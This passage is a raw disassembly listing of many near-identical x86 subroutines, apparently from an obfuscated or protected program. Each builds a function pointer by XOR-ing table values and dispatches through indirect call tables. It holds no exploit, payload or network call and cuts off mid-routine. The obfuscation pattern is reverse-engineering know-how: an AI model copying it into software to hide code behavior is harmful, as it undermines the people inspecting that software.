-3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 56h mov [ebp+var_2C], 4Eh mov [ebp+var_28], 46h mov [ebp+var_24], 48h mov [ebp+var_20], 31h mov [ebp+var_1C], 0D6h mov [ebp+var_18], 33h mov [ebp+var_14], 7Fh mov [ebp+var_10], 14h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 14h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A7114 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A7114: ; CODE XREF: sub_4A7083+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A7083 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7180 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED934o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 73h mov [ebp+var_2C], 0Bh mov [ebp+var_28], 0CCh mov [ebp+var_24], 58h mov [ebp+var_20], 0Eh mov [ebp+var_1C], 0F8h mov [ebp+var_18], 0C3h mov [ebp+var_14], 5Dh mov [ebp+var_10], 13h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 13h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A7211 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A7211: ; CODE XREF: sub_4A7180+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A7180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A727D proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED938o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0Ch mov [ebp+var_2C], 58h mov [ebp+var_28], 0F7h mov [ebp+var_24], 41h mov [ebp+var_20], 54h mov [ebp+var_1C], 26h mov [ebp+var_18], 0E3h mov [ebp+var_14], 39h mov [ebp+var_10], 11h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 11h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A730E mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A730E: ; CODE XREF: sub_4A727D+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A727D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A737A proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED93Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 40h mov [ebp+var_2C], 1Dh mov [ebp+var_28], 0CBh mov [ebp+var_24], 65h mov [ebp+var_20], 0B1h mov [ebp+var_1C], 0D0h mov [ebp+var_18], 5Eh mov [ebp+var_14], 72h mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A740B mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A740B: ; CODE XREF: sub_4A737A+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A737A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7477 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED940o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0BDh mov [ebp+var_2C], 0B3h mov [ebp+var_28], 72h mov [ebp+var_24], 6Ch mov [ebp+var_20], 68h mov [ebp+var_1C], 0F2h mov [ebp+var_18], 31h mov [ebp+var_14], 0B5h mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A7508 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A7508: ; CODE XREF: sub_4A7477+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A7477 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7574 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED944o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 16h mov [ebp+var_2C], 3Bh mov [ebp+var_28], 95h mov [ebp+var_24], 9Ch mov [ebp+var_20], 8Bh mov [ebp+var_1C], 0A6h mov [ebp+var_18], 0CCh mov [ebp+var_14], 0C5h mov [ebp+var_10], 6 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 6 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A7605 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A7605: ; CODE XREF: sub_4A7574+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A7574 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7671 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED948o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 8Ch mov [ebp+var_2C], 0B5h mov [ebp+var_28], 0BEh mov [ebp+var_24], 3Ah mov [ebp+var_20], 57h mov [ebp+var_1C], 15h mov [ebp+var_18], 7 mov [ebp+var_14], 1Fh mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A7702 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A7702: ; CODE XREF: sub_4A7671+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A7671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A776E proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED94Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 3Bh mov [ebp+var_2C], 94h mov [ebp+var_28], 32h mov [ebp+var_24], 0Fh mov [ebp+var_20], 5Ch mov [ebp+var_1C], 76h mov [ebp+var_18], 0B9h mov [ebp+var_14], 0Dh mov [ebp+var_10], 10h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 10h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A77FF mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A77FF: ; CODE XREF: sub_4A776E+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A776E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A786B proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED950o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 8Fh mov [ebp+var_2C], 7Ch mov [ebp+var_28], 0DFh mov [ebp+var_24], 10h mov [ebp+var_20], 3Bh mov [ebp+var_1C], 3Bh mov [ebp+var_18], 0FAh mov [ebp+var_14], 69h mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A78FC mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A78FC: ; CODE XREF: sub_4A786B+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A786B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7968 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED954o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0B3h mov [ebp+var_2C], 0C8h mov [ebp+var_28], 8Dh mov [ebp+var_24], 6Bh mov [ebp+var_20], 30h mov [ebp+var_1C], 0BBh mov [ebp+var_18], 38h mov [ebp+var_14], 39h mov [ebp+var_10], 8 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 8 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A79F9 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A79F9: ; CODE XREF: sub_4A7968+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A7968 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7A65 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED958o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0D7h mov [ebp+var_2C], 0DCh mov [ebp+var_28], 95h mov [ebp+var_24], 40h mov [ebp+var_20], 0F6h mov [ebp+var_1C], 30h mov [ebp+var_18], 0CFh mov [ebp+var_14], 0E9h mov [ebp+var_10], 7 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 7 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A7AF6 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A7AF6: ; CODE XREF: sub_4A7A65+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A7A65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7B62 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED95Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 43h mov [ebp+var_2C], 0B3h mov [ebp+var_28], 0D5h mov [ebp+var_24], 0E2h mov [ebp+var_20], 0B1h mov [ebp+var_1C], 0E1h mov [ebp+var_18], 0CAh mov [ebp+var_14], 0F8h mov [ebp+var_10], 2 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 2 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A7BF3 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A7BF3: ; CODE XREF: sub_4A7B62+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A7B62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7C5F proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED960o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 4 mov [ebp+var_2C], 3Bh mov [ebp+var_28], 0Bh mov [ebp+var_24], 39h mov [ebp+var_20], 56h mov [ebp+var_1C], 9Ch mov [ebp+var_18], 0D4h mov [ebp+var_14], 20h mov [ebp+var_10], 4 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 4 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A7CF0 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A7CF0: ; CODE XREF: sub_4A7C5F+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 